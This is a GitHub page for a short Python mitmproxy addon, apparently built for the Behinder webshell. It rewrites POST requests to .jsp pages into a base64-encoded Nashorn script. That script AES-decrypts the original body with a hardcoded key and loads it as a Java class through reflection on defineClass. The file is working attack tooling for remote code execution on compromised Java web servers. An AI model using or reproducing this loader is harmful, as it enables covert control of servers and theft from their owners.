-
Notifications
You must be signed in to change notification settings - Fork 1
/
mitmBehinder-base64.py
69 lines (61 loc) · 1.88 KB
/
mitmBehinder-base64.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import mitmproxy
import mitmproxy.http
import mitmproxy.ctx as ctx
import json
import urllib.parse
from mitmproxy.log import ALERT
import logging
import base64
logger = logging.getLogger(__name__)
template='''try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);
function define(classBytes){
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
var ccc=cc.newInstance();
ccc.equals(pageContext);
}
if (request.getMethod().equals("POST")){
var k=new java.lang.String("e45e329feb5d925b");
session.putValue("u",k);
var c=Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
// var s=request.getReader().readLine();
var s="%s";
var b=new BASE64Decoder().decodeBuffer(s);
define(c.doFinal(b));
}'''
class Interceptor:
def __init__(self) -> None:
pass
def request(self, flow:mitmproxy.http.HTTPFlow):
if flow.request.url.__contains__(".jsp") and str(flow.request.method).lower()=="post":
c = flow.request.text
p = ("%s" % template % c)
p = base64.b64encode(p.encode('utf8'))
flow.request.text = p.decode('utf8')
# logger.log(ALERT,("h=%s" % urllib.parse.quote(template % c))[:50])
def response(self, flow:mitmproxy.http.HTTPFlow):
pass
addons = [
Interceptor()
]